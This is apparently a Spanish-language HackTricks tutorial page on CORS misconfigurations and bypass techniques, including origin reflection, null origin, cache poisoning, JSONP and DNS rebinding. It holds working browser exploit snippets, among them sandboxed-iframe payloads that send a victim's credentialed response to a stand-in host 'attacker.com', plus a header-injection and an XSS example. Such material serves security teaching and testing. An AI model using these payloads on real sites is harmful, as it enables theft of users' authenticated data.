Español - Ht
HackTricks Training Twitter Linkedin Sponsor

CORS - Misconfigurations & Bypass

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

¿Qué es CORS?

Cross-Origin Resource Sharing (CORS) es un estándar que permite a los servidores definir quién puede acceder a sus activos y qué métodos de solicitud HTTP están permitidos desde fuentes externas.

Una política de mismo origen exige que un servidor solicitante de un recurso y el servidor que aloja el recurso compartan el mismo protocolo (por ejemplo, http://), nombre de dominio (por ejemplo, internal-web.com) y puerto (por ejemplo, 80). Bajo esta política, solo se permite el acceso a los recursos a las páginas web del mismo dominio y puerto.

La aplicación de la política de mismo origen en el contexto de http://normal-website.com/example/example.html se ilustra de la siguiente manera:

*Internet Explorer ignora el número de puerto al hacer cumplir la política de mismo origen, permitiendo así este acceso.

Encabezado Access-Control-Allow-Origin

Este encabezado puede permitir múltiples orígenes, un valor null, o un comodín *. Sin embargo, ningún navegador admite múltiples orígenes, y el uso del comodín * está sujeto a limitaciones. (El comodín debe usarse solo, y no se permite su uso junto con Access-Control-Allow-Credentials: true.)

Este encabezado es emitido por un servidor en respuesta a una solicitud de recurso entre dominios iniciada por un sitio web, con el navegador añadiendo automáticamente un encabezado Origin.

Encabezado Access-Control-Allow-Credentials

Por defecto, las solicitudes entre orígenes se realizan sin credenciales como cookies o el encabezado de Autorización. Sin embargo, un servidor entre dominios puede permitir la lectura de la respuesta cuando se envían credenciales configurando el encabezado Access-Control-Allow-Credentials a true.

Si se establece en true, el navegador transmitirá credenciales (cookies, encabezados de autorización o certificados de cliente TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

Solicitud previa CSRF

Comprendiendo las solicitudes previas en la comunicación entre dominios

Al iniciar una solicitud entre dominios bajo condiciones específicas, como usar un método HTTP no estándar (cualquier cosa que no sea HEAD, GET, POST), introducir nuevos encabezados, o emplear un valor especial en el encabezado Content-Type, puede ser necesaria una solicitud previa. Esta solicitud preliminar, aprovechando el método OPTIONS, sirve para informar al servidor sobre las intenciones de la próxima solicitud entre orígenes, incluyendo los métodos HTTP y encabezados que pretende utilizar.

El protocolo de Compartir Recursos de Origen Cruzado (CORS) exige esta verificación previa para determinar la viabilidad de la operación entre orígenes solicitada, verificando los métodos permitidos, los encabezados y la confiabilidad del origen. Para comprender detalladamente qué condiciones evitan la necesidad de una solicitud previa, consulte la guía completa proporcionada por Mozilla Developer Network (MDN).

Es crucial tener en cuenta que la ausencia de una solicitud previa no elimina la necesidad de que la respuesta lleve encabezados de autorización. Sin estos encabezados, el navegador no puede procesar la respuesta de la solicitud entre orígenes.

Considere la siguiente ilustración de una solicitud previa dirigida a utilizar el método PUT junto con un encabezado personalizado llamado Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

En respuesta, el servidor podría devolver encabezados que indiquen los métodos aceptados, el origen permitido y otros detalles de la política CORS, como se muestra a continuación:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

  • Access-Control-Allow-Headers: Este encabezado especifica qué encabezados se pueden utilizar durante la solicitud real. Es establecido por el servidor para indicar los encabezados permitidos en las solicitudes del cliente.

  • Access-Control-Expose-Headers: A través de este encabezado, el servidor informa al cliente sobre qué encabezados pueden ser expuestos como parte de la respuesta además de los encabezados de respuesta simples.

  • Access-Control-Max-Age: Este encabezado indica cuánto tiempo pueden ser almacenados en caché los resultados de una solicitud previa. El servidor establece el tiempo máximo, en segundos, que la información devuelta por una solicitud previa puede ser reutilizada.

  • Access-Control-Request-Headers: Utilizado en solicitudes previas, este encabezado es establecido por el cliente para informar al servidor sobre qué encabezados HTTP el cliente desea utilizar en la solicitud real.

  • Access-Control-Request-Method: Este encabezado, también utilizado en solicitudes previas, es establecido por el cliente para indicar qué método HTTP se utilizará en la solicitud real.

  • Origin: Este encabezado es establecido automáticamente por el navegador e indica el origen de la solicitud de origen cruzado. Es utilizado por el servidor para evaluar si la solicitud entrante debe ser permitida o denegada según la política CORS.

Ten en cuenta que generalmente (dependiendo del tipo de contenido y los encabezados establecidos) en una solicitud GET/POST no se envía una solicitud previa (la solicitud se envía directamente), pero si deseas acceder a los encabezados/cuerpo de la respuesta, debe contener un encabezado Access-Control-Allow-Origin que lo permita. Por lo tanto, CORS no protege contra CSRF (pero puede ser útil).

Solicitud previa de solicitudes de red local

  1. Access-Control-Request-Local-Network: Este encabezado se incluye en la solicitud del cliente para indicar que la consulta está dirigida a un recurso de red local. Sirve como un marcador para informar al servidor que la solicitud proviene desde la red local.

  2. Access-Control-Allow-Local-Network: En respuesta, los servidores utilizan este encabezado para comunicar que el recurso solicitado está permitido ser compartido con entidades fuera de la red local. Actúa como luz verde para compartir recursos a través de diferentes límites de red, asegurando un acceso controlado mientras se mantienen los protocolos de seguridad.

Una respuesta válida que permita la solicitud de red local también debe tener en la respuesta el encabezado Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Ten en cuenta que la IP de linux 0.0.0.0 funciona para burlar estos requisitos y acceder a localhost, ya que esa dirección IP no se considera "local".

También es posible burlar los requisitos de la Red Local si se utiliza la dirección IP pública de un punto final local (como la IP pública del enrutador). Porque en varias ocasiones, incluso si se accede a la IP pública, si es desde la red local, se concederá el acceso.

Configuraciones incorrectas explotables

Se ha observado que establecer Access-Control-Allow-Credentials en true es un requisito previo para la mayoría de los ataques reales. Esta configuración permite al navegador enviar credenciales y leer la respuesta, mejorando la efectividad del ataque. Sin esto, el beneficio de hacer que un navegador emita una solicitud en lugar de hacerlo uno mismo disminuye, ya que se vuelve inviable aprovechar las cookies de un usuario.

Excepción: Explotar la Ubicación de la Red como Autenticación

Existe una excepción donde la ubicación de la red de la víctima actúa como una forma de autenticación. Esto permite que el navegador de la víctima se utilice como un proxy, eludiendo la autenticación basada en IP para acceder a aplicaciones de intranet. Este método comparte similitudes en impacto con el reenvío de DNS pero es más fácil de explotar.

Reflejo de Origin en Access-Control-Allow-Origin

El escenario del mundo real donde el valor del encabezado Origin se refleja en Access-Control-Allow-Origin es teóricamente improbable debido a las restricciones para combinar estos encabezados. Sin embargo, los desarrolladores que buscan habilitar CORS para múltiples URL pueden generar dinámicamente el encabezado Access-Control-Allow-Origin copiando el valor del encabezado Origin. Este enfoque puede introducir vulnerabilidades, especialmente cuando un atacante utiliza un dominio con un nombre diseñado para parecer legítimo, engañando así a la lógica de validación.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Explotando el Origen null

El origen null, especificado para situaciones como redirecciones o archivos HTML locales, tiene una posición única. Algunas aplicaciones incluyen este origen en la lista blanca para facilitar el desarrollo local, lo que permite inadvertidamente que cualquier sitio web imite un origen null a través de un iframe con sandbox, evitando así las restricciones de CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Técnicas de Bypass de Expresiones Regulares

Al encontrarse con una lista blanca de dominios, es crucial probar oportunidades de bypass, como añadir el dominio del atacante a un dominio en la lista blanca o explotar vulnerabilidades de apropiación de subdominios. Además, las expresiones regulares utilizadas para la validación de dominios pueden pasar por alto matices en las convenciones de nomenclatura de dominios, presentando más oportunidades de bypass.

Bypasses Avanzados de Expresiones Regulares

Los patrones Regex suelen concentrarse en caracteres alfanuméricos, punto (.), y guion (-), descuidando otras posibilidades. Por ejemplo, un nombre de dominio diseñado para incluir caracteres interpretados de manera diferente por los navegadores y patrones Regex puede evadir controles de seguridad. La forma en que Safari, Chrome y Firefox manejan los caracteres de subdominio ilustra cómo estas discrepancias pueden ser explotadas para eludir la lógica de validación de dominios.

Para obtener más información y configuraciones de esta verificación de bypass: https://www.corben.io/advanced-cors-techniques/ y https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Desde XSS dentro de un subdominio

Los desarrolladores a menudo implementan mecanismos defensivos para protegerse contra la explotación de CORS al incluir en la lista blanca dominios autorizados para solicitar información. A pesar de estas precauciones, la seguridad del sistema no es infalible. La presencia de incluso un solo subdominio vulnerable dentro de los dominios en la lista blanca puede abrir la puerta a la explotación de CORS a través de otras vulnerabilidades, como XSS (Cross-Site Scripting).

Para ilustrar, considera el escenario donde un dominio, requester.com, está en la lista blanca para acceder a recursos de otro dominio, provider.com. La configuración del lado del servidor podría verse algo así:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

En esta configuración, se permite el acceso a todos los subdominios de requester.com. Sin embargo, si un subdominio, por ejemplo sub.requester.com, se ve comprometido con una vulnerabilidad XSS, un atacante puede aprovechar esta debilidad. Por ejemplo, un atacante con acceso a sub.requester.com podría explotar la vulnerabilidad XSS para eludir las políticas de CORS y acceder maliciosamente a recursos en provider.com.

Envenenamiento de caché en el lado del servidor

Desde esta investigación

Es posible que al explotar el envenenamiento de caché en el lado del servidor a través de la inyección de encabezados HTTP, se pueda inducir una vulnerabilidad almacenada de Cross-Site Scripting (XSS). Este escenario se desarrolla cuando una aplicación no desinfecta el encabezado Origin de caracteres ilegales, creando una vulnerabilidad especialmente para los usuarios de Internet Explorer y Edge. Estos navegadores tratan (0x0d) como un terminador legítimo de encabezados HTTP, lo que lleva a vulnerabilidades de inyección de encabezados HTTP.

Considera la siguiente solicitud donde se manipula el encabezado Origin:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer y Edge interpretan la respuesta como:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Mientras que explotar directamente esta vulnerabilidad haciendo que un navegador web envíe un encabezado malformado no es factible, una solicitud elaborada puede ser generada manualmente utilizando herramientas como Burp Suite. Este método podría llevar a que una caché del lado del servidor guarde la respuesta y la sirva inadvertidamente a otros. La carga elaborada tiene como objetivo alterar el conjunto de caracteres de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades XSS debido a su capacidad para codificar caracteres de una manera que puede ser ejecutada como script en ciertos contextos.

Para más información sobre vulnerabilidades XSS almacenadas, consulta PortSwigger.

Nota: La explotación de vulnerabilidades de inyección de encabezados HTTP, particularmente a través de envenenamiento de caché del lado del servidor, subraya la importancia crítica de validar y sanear toda la entrada proporcionada por el usuario, incluidos los encabezados HTTP. Siempre emplea un modelo de seguridad sólido que incluya validación de entrada para prevenir tales vulnerabilidades.

Envenenamiento de caché del lado del cliente

Desde esta investigación

En este escenario, se observa una instancia de una página web que refleja el contenido de un encabezado HTTP personalizado sin codificación adecuada. Específicamente, la página web refleja de vuelta el contenido incluido en un encabezado X-User-id, que podría incluir JavaScript malicioso, como se demuestra en el ejemplo donde el encabezado contiene una etiqueta de imagen SVG diseñada para ejecutar código JavaScript al cargarse.

Las políticas de Compartir Recursos de Origen Cruzado (CORS) permiten el envío de encabezados personalizados. Sin embargo, sin que la respuesta sea renderizada directamente por el navegador debido a restricciones de CORS, la utilidad de tal inyección podría parecer limitada. El punto crítico surge al considerar el comportamiento de la caché del navegador. Si el encabezado Vary: Origin no está especificado, se vuelve posible que la respuesta maliciosa sea almacenada en la caché del navegador. Posteriormente, esta respuesta en caché podría ser renderizada directamente al navegar a la URL, evitando la necesidad de renderización directa en la solicitud inicial. Este mecanismo mejora la fiabilidad del ataque al aprovechar el almacenamiento en caché del lado del cliente.

Para ilustrar este ataque, se proporciona un ejemplo de JavaScript, diseñado para ser ejecutado en el entorno de una página web, como a través de un JSFiddle. Este script realiza una acción simple: envía una solicitud a una URL especificada con un encabezado personalizado que contiene el JavaScript malicioso. Tras completar con éxito la solicitud, intenta navegar a la URL objetivo, potencialmente desencadenando la ejecución del script inyectado si la respuesta ha sido almacenada en caché sin un manejo adecuado del encabezado Vary: Origin.

Aquí se presenta un resumen del JavaScript utilizado para ejecutar este ataque:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, también conocido como Inclusión de Script de Sitio Cruzado, es un tipo de vulnerabilidad que aprovecha el hecho de que la Política de la Misma Origen (SOP) no se aplica al incluir recursos utilizando la etiqueta de script. Esto se debe a que los scripts deben poder incluirse desde diferentes dominios. Esta vulnerabilidad permite a un atacante acceder y leer cualquier contenido que se haya incluido utilizando la etiqueta de script.

Esta vulnerabilidad se vuelve particularmente significativa cuando se trata de JavaScript dinámico o JSONP (JSON con Relleno), especialmente cuando se utilizan información de autoridad ambiental como cookies para la autenticación. Al solicitar un recurso de un host diferente, las cookies se incluyen, lo que las hace accesibles para el atacante.

Para comprender mejor y mitigar esta vulnerabilidad, puedes utilizar el complemento BurpSuite disponible en https://github.com/kapytein/jsonp. Este complemento puede ayudar a identificar y abordar posibles vulnerabilidades XSSI en tus aplicaciones web.

Lee más sobre los diferentes tipos de XSSI y cómo explotarlos aquí.

Intenta agregar un parámetro callback en la solicitud. Tal vez la página estaba preparada para enviar los datos como JSONP. En ese caso, la página devolverá los datos con Content-Type: application/javascript, lo que eludirá la política CORS.

Bypass Fácil (¿inútil?)

Una forma de eludir la restricción de Access-Control-Allow-Origin es solicitando a una aplicación web que realice una solicitud en tu nombre y envíe la respuesta de vuelta. Sin embargo, en este escenario, las credenciales de la víctima final no se enviarán, ya que la solicitud se realiza a un dominio diferente.

  1. CORS-escape: Esta herramienta proporciona un proxy que reenvía tu solicitud junto con sus encabezados, al mismo tiempo que falsifica el encabezado de Origen para que coincida con el dominio solicitado. Esto elude efectivamente la política CORS. Aquí tienes un ejemplo de uso con XMLHttpRequest:

  2. simple-cors-escape: Esta herramienta ofrece un enfoque alternativo para el enrutamiento de solicitudes. En lugar de pasar tu solicitud tal cual, el servidor realiza su propia solicitud con los parámetros especificados.

Bypass de Iframe + Popup

Puedes eludir las comprobaciones CORS como e.origin === window.origin mediante la creación de un iframe y desde él abrir una nueva ventana. Más información en la siguiente página:

Reenvío de DNS a través de TTL

El reenvío de DNS a través de TTL es una técnica utilizada para eludir ciertas medidas de seguridad al manipular registros DNS. Así es como funciona:

  1. El atacante crea una página web y hace que la víctima la acceda.

  2. Luego, el atacante cambia el DNS (IP) de su propio dominio para que apunte a la página web de la víctima.

  3. El navegador de la víctima almacena en caché la respuesta DNS, que puede tener un valor de TTL (Tiempo de Vida) que indica cuánto tiempo debe considerarse válido el registro DNS.

  4. Cuando el TTL expira, el navegador de la víctima realiza una nueva solicitud DNS, lo que permite al atacante ejecutar código JavaScript en la página de la víctima.

  5. Al mantener el control sobre la IP de la víctima, el atacante puede recopilar información de la víctima sin enviar cookies al servidor de la víctima.

Es importante tener en cuenta que los navegadores tienen mecanismos de almacenamiento en caché que pueden evitar el abuso inmediato de esta técnica, incluso con valores de TTL bajos.

El reenvío de DNS puede ser útil para eludir comprobaciones explícitas de IP realizadas por la víctima o para escenarios en los que un usuario o bot permanece en la misma página durante un período prolongado, lo que permite que caduque la caché.

Si necesitas una forma rápida de abusar del reenvío de DNS, puedes utilizar servicios como https://lock.cmpxchg8b.com/rebinder.html.

Para ejecutar tu propio servidor de reenvío de DNS, puedes utilizar herramientas como DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Esto implica exponer tu puerto local 53/udp, crear un registro A que apunte a él (por ejemplo, ns.example.com) y crear un registro NS que apunte al subdominio A creado anteriormente (por ejemplo, ns.example.com). Cualquier subdominio del subdominio ns.example.com se resolverá entonces en tu host.

También puedes explorar un servidor en funcionamiento públicamente en http://rebind.it/singularity.html para una mayor comprensión y experimentación.

Reenvío de DNS a través de Sobrecarga de Caché DNS

El reenvío de DNS a través de la sobrecarga de caché DNS es otra técnica utilizada para eludir el mecanismo de almacenamiento en caché de los navegadores y forzar una segunda solicitud DNS. Así es como funciona:

  1. Inicialmente, cuando la víctima realiza una solicitud DNS, recibe como respuesta la dirección IP del atacante.

  2. Para eludir la defensa de almacenamiento en caché, el atacante aprovecha un trabajador de servicio. El trabajador de servicio sobrecarga la caché DNS, lo que efectivamente elimina el nombre del servidor del atacante en caché.

  3. Cuando el navegador de la víctima realiza una segunda solicitud DNS, ahora recibe como respuesta la dirección IP 127.0.0.1, que normalmente se refiere a localhost.

Al sobrecargar la caché DNS con el trabajador de servicio, el atacante puede manipular el proceso de resolución DNS y forzar al navegador de la víctima a realizar una segunda solicitud, que esta vez se resuelve a la dirección IP deseada por el atacante.

Reenvío de DNS a través de Caché

Otra forma de eludir la defensa de almacenamiento en caché es utilizando múltiples direcciones IP para el mismo subdominio en el proveedor DNS. Así es como funciona:

  1. El atacante configura dos registros A (o un solo registro A con dos IPs) para el mismo subdominio en el proveedor DNS.

  2. Cuando un navegador verifica estos registros, recibe ambas direcciones IP.

  3. Si el navegador decide usar primero la dirección IP del atacante, este puede servir un payload que realice solicitudes HTTP al mismo dominio.

  4. Sin embargo, una vez que el atacante obtiene la dirección IP de la víctima, deja de responder al navegador de la víctima.

  5. El navegador de la víctima, al darse cuenta de que el dominio no responde, pasa a utilizar la segunda dirección IP proporcionada.

  6. Al acceder a la segunda dirección IP, el navegador elude la Política de la Misma Origen (SOP), lo que permite al atacante abusar de esto y recopilar y extraer información.

Esta técnica aprovecha el comportamiento de los navegadores cuando se proporcionan múltiples direcciones IP para un dominio. Al controlar estratégicamente las respuestas y manipular la elección de la dirección IP del navegador, un atacante puede explotar la SOP y acceder a información de la víctima.

Ten en cuenta que para acceder a localhost debes intentar reasignar 127.0.0.1 en Windows y 0.0.0.0 en Linux. Proveedores como GoDaddy o Cloudflare no me permitieron usar la IP 0.0.0.0, pero AWS Route53 me permitió crear un registro A con 2 IPs siendo una de ellas "0.0.0.0"

Para obtener más información, puedes consultar https://unit42.paloaltonetworks.com/dns-rebinding/

Otros Bypass Comunes

  • Si no se permiten IPs internas, podrían olvidar prohibir 0.0.0.0 (funciona en Linux y Mac)

  • Si no se permiten IPs internas, responde con un CNAME a localhost (funciona en Linux y Mac)

  • Si no se permiten IPs internas como respuestas DNS, puedes responder CNAMEs a servicios internos como www.corporate.internal.

Armas para el Reenvío de DNS

Puedes encontrar más información sobre las técnicas de bypass anteriores y cómo utilizar la siguiente herramienta en la charla Gerald Doussot - Estado de los Ataques de Reenvío de DNS y Singularidad de Origen - Conferencia DEF CON 27.

Singularidad de Origen es una herramienta para realizar ataques de reenvío de DNS. Incluye los componentes necesarios para volver a enlazar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir cargas útiles de ataque para explotar software vulnerable en la máquina objetivo.

Protección Real contra el Reenvío de DNS

  • Utilizar TLS en servicios internos

  • Solicitar autenticación para acceder a los datos

  • Validar el encabezado Host

  • https://wicg.github.io/private-network-access/: Propuesta para enviar siempre una solicitud previa cuando los servidores públicos quieran acceder a servidores internos

Herramientas

Buscar posibles configuraciones incorrectas en las políticas CORS

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

AnteriorCookie BombSiguienteCRLF (%0D%0A) Injection

Última actualización